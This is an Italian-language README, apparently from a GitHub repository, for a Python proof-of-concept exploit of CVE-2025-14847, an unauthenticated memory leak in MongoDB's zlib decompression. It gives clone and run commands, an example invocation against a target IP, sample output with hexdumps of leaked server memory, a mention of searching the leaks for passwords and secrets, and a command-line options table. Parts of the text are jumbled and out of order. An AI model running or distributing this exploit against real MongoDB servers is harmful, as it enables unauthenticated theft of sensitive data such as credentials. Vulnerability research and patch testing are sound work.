
CVE-2025-14847 – Exploit di perdita di memoria non autenticato in MongoDB
Un exploit proof‑of‑concept (PoC) per la vulnerabilità di decompressione zlib di MongoDB che consente a utenti malintenzionati non autenticati di leggere la memoria sensibile del server.
Il PoC è implementato in Python 3 e dimostra come un pacchetto OP_COMPRESSED malevolo può attivare il bug, causando la restituzione di memoria non inizializzata da parte di MongoDB come dati BSON.
La vulnerabilità è causata da un difetto nella decompressione dei messaggi zlib di MongoDB:
uncompressedSize gonfiata.Il PoC invia un pacchetto OP_COMPRESSED appositamente creato e analizza la risposta di errore del server per recuperare i frammenti di dati trapelati.
| Componente | Versione | Note |
|---|---|---|
| Python | ≥ 3.8 | Lo script è solo per Python‑3 |
| MongoDB | ≥ 4.4 | Il target deve essere vulnerabile a CVE‑2025‑14847 |
| Opzionale |
# Clona il repository (o copia lo script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847
# (Opzionale) Installa i pacchetti Python richiesti
pip install -r requirements.txt
python exploit.py [OPZIONI]
Esempio:
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin
$ python3 exploit.py
11:02:41 CVE-2025-14847 INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847 INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:41 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847 INFO │ 00000000: 20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b | object with unk|
11:02:41 CVE-2025-14847 INFO │ 00000010: 6e 6f 77 6e 20 5f 69 64 |nown _id|
11:02:41 CVE-2025-14847 INFO │ [+] offset= 39 len= 24:
11:02:45 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:45 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847 INFO │ 00000000: 73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67 |s skipped during|
11:02:45 CVE-2025-14847 INFO │ 00000010: 20 74 72 65 65 20 77 61 6c 6b | tree walk|
11:02:45 CVE-2025-14847 INFO │ [+] offset=3064 len= 26:
11:02:50 CVE-2025-14847 INFO │ Offset Hex ASCII
....
11:02:50 CVE-2025-14847 INFO │ [+] offset=6663 len= 38:
11:02:52 CVE-2025-14847 SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847 SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847 SUCCESS │ [*] Saved to: leaked.bin
Lo script registrerà ogni frammento interessante (lunghezza > 10 byte) e mostrerà una vista hexdump. Tutti i dati trapelati vengono aggiunti a leaked.bin.

[+] offset= <doc_len> len= <len> indica dove è stato trovato un frammento.password, secret, ecc.) trovato nei dati trapelati.Questo PoC è fornito "così com'è" senza alcuna garanzia. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script. Utilizzalo a tuo rischio e pericolo.
requirements.txt |
| Fornito nel repository |
| Opzione | Predefinito | Descrizione |
|---|
--host | localhost | Host MongoDB di destinazione |
--port | 27017 | Porta MongoDB di destinazione |
--min-offset | 20 | Lunghezza minima del documento da sondare |
--max-offset | 8192 | Lunghezza massima del documento da sondare |
--output | leaked.bin | File in cui salvare i dati trapelati |